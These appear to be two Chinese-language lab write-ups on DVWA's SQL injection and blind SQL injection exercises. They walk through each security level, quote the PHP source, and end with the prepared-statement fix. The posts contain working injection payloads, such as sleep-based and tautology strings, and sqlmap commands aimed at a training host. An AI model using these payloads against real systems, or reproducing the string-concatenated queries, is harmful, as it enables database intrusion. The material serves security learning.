something about DVWA - SQL Injection(Blind)

DVWA

DVWA => 备份地址

SQL Injection(Blind)(sql注入 盲注)

在SQL注入过程中并不会给客户端返回查询到的内容
用来对程序对应的数据存储区进行对应的探测。

盲注分类

盲注主要有两种:基于时间,基于布尔的盲注。

  • 基于时间的盲注

    通过向SQL中注入sleep(int x),观察响应时间是否有对应延迟,如果有,则数据是存储在数据库中。

    例如:

    1
    2
    3
    `--`或`#` 用来注释掉注入点之后的语句。
    select * from tableA A where A.colA = '1' # and A.colB = '2';
    select * from tableA A where A.colA = '1' -- and A.colB = '2';
    1
    2
    # 查询并等待5s
    1' and sleep(5) #
  • 基于布尔的盲注

    通过向SQL中注入and 1=1and 1=2,观察响应内容是否不同,如果不同,则数据是存储在数据库中。

    例如:

    1
    2
    # 注入true
    1' 1=1 #
    1
    2
    # 注入false
    1' 1=2 #

Low

  • 手动测试

    • 在注入点注入基于时间的盲注

      能够观察到有明显的延迟。

      1
      1' and sleep(5)#
    • 在注入点注入基于布尔的盲注

      能够观察到两种布尔值对应的回应不相同。

      1
      2
      1' and 1=1#
      1' and 1=2#
  • 源码分析

    • 直接从request中获取参数(GET)

      1
      2
      // Get input
      $id = $_GET[ 'id' ];
    • 直接将参数拼接入SQL文中执行

      1
      2
      3
      // Check database
      $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
      $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
    • 根据查询结果返回对应页面

      1
      2
      3
      4
      5
      6
      7
      8
      9
      if ($exists) {
      // Feedback for end user
      echo '<pre>User ID exists in the database.</pre>';
      } else {
      // User wasn't found, so the page wasn't!
      header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
      // Feedback for end user
      echo '<pre>User ID is MISSING from the database.</pre>';
      }

Medium

  • 手动测试

    使用burpsuit拦截后,与Low级别相同。

    针对mysqli_real_escape_string()的制御,可以将注入内容url encode,进行绕过。

  • 源码分析

    • 直接从request中获取参数(POST)

      1
      2
      3
      // Get input
      $id = $_POST[ 'id' ];
      $exists = false;
    • 将参数转义特殊字符后拼接入SQL执行

      1
      2
      3
      4
      5
      6
      // 使用`mysqli_real_escape_string()`函数转义特殊字符。
      $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

      // Check database
      $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
      $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
    • 根据查询结果返回对应页面

      Low级别相同。

High

  • burpsuit 测试

    • 抓包,找到注入点

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      GET /dvwa/vulnerabilities/sqli_blind/ HTTP/1.1
      Host: train.com
      User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
      Accept-Language: en-US,en;q=0.5
      Accept-Encoding: gzip, deflate
      Referer: http://train.com/dvwa/security.php
      Connection: close
      Cookie: id=2; security=high; PHPSESSID=9jcja8m0r7k7h2je6ife9ivmaj
      Upgrade-Insecure-Requests: 1
      Pragma: no-cache
      Cache-Control: no-cache
    • 针对Cookie: id=$2$注入

      Low级别相同,可得盲注结果。

  • 源码分析

    • cookie中获取参数

      1
      2
      3
      // Get input
      $id = $_COOKIE[ 'id' ];
      $exists = false;
    • 将参数直接拼接入SQL执行

      限制查询条数。

      1
      2
      3
      // Check database
      $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
      $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
    • 根据查询结果返回对应页面

      Low级别相同。

Impossible

  • 源码分析

    • 通过token验证身份

      1
      2
      3
      // Check Anti-CSRF token
      checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
      $exists = false;
    • request中获取参数(GET)

      Low级别相同。

    • PDO方式预编译SQL参数查询

      1
      2
      3
      4
      5
      6
      // Check the database
      $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
      $data->bindParam( ':id', $id, PDO::PARAM_INT );
      $data->execute();

      $exists = $data->rowCount();
    • 根据查询结果返回对应页面

      Low级别相同。


something about DVWA - SQL Injection

DVWA

DVWA => 备份地址

SQL Injection(sql注入)

Low

  • sqlmap测试

    • 使用burpsuit拦截请求

    • 将请求保存为文本文件

    • 使用sqlmap对已保存的请求做sql注入

      1
      sqlmap -r ./sql.injection/sql.injection.low.txt --level=5 --risk=3 -p id
    • 根据sqlmap结果构造恶意注入

      1
      2
      3
      4
      # %27  => '
      # %3D => =
      # id=1'or'1'='1
      http://train.com/dvwa/vulnerabilities/sqli/?id=1%27or%271%27%3D%271&Submit=Submit#
  • 源码分析

    • 直接从request中获取参数

      1
      2
      // Get input
      $id = $_REQUEST[ 'id' ];
    • 直接将参数拼接入SQL文中查询

      1
      2
      3
      // Check database
      $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
      $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

Medium

  • sqlmap测试

    • 使用burpsuit拦截请求

    • 将请求保存为文本文件

    • 使用sqlmap对已保存的请求做sql注入

      1
      sqlmap -r ./sql.injection/sql.injection.medium.txt --level=5 --risk=3 -p id --batch
    • 根据sqlmap结果构造恶意注入

      1
      2
      3
      # 构造的恶意`payload`
      # 将`post`参数内容提供为
      id=2 OR NOT 7336=7336
  • 源码分析

    • 直接从request中获取参数

      Low级别相同。

    • 对参数转义特殊字符

      使用mysqli_real_escape_string()函数转义特殊字符。

      1
      $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
    • 直接将参数拼接入SQL文中查询

      1
      2
      $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
      // 再进行查询

High

High级别主要是提交请求页面结果渲染页面分离,此举主要为了防止sqlmap等自动化工具测试。 不过sqlmap--second-url=xxx参数,可以用来手动指定结果渲染页面url

  • sqlmap测试

    • 使用burpsuit拦截请求

    • 将请求保存为文本文件

    • 使用sqlmap对已经保存的请求做sql注入

      --second-url参数用于指定响应结果页面url

      1
      sqlmap -r ~/Documents/0pentest/sql.injection/sql.injection.high.txt --second-url="http://train.com/dvwa/vulnerabilities/sqli/"
    • 根据sqlmap结果构造恶意注入

  • 源码分析

    • 提交请求页面与响应结果渲染页面分开

      提交请求页面:

      1
      http://train.com/dvwa/vulnerabilities/sqli/session-input.php

      结果渲染页面:

      1
      http://train.com/dvwa/vulnerabilities/sqli/

      提交请求页面提交请求后会将参数内容放到session中。

    • session中获取参数

      1
      2
      // Get input
      $id = $_SESSION[ 'id' ];
    • 直接将参数拼接入SQL文中查询

      1
      2
      3
      // Check database
      $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
      // 再查询
    • 根据sqlmap结果构造恶意注入

      1
      2
      3
      # 构造的恶意`payload`
      # 将`post`参数内容提供为
      id=3' AND (SELECT 4198 FROM (SELECT(SLEEP(5)))Yudr) AND 'Jnep'='Jnep

Impossible

  • 源码分析

    • token中验证身份

      1
      2
      // Check Anti-CSRF token
      checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    • request中获取参数

      1
      2
      // Get input
      $id = $_GET[ 'id' ];
    • 判断参数是否为数字

      1
      2
      3
      4
      // Was a number entered?
      if(is_numeric( $id )) {
      // other statements
      }
    • 将参数转为int

      1
      $id = intval ($id);
    • 将参数以PDO的方式预编译进sql中进行查询

      1
      2
      3
      4
      5
      // Check the database
      $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
      $data->bindParam( ':id', $id, PDO::PARAM_INT );
      $data->execute();
      $row = $data->fetch();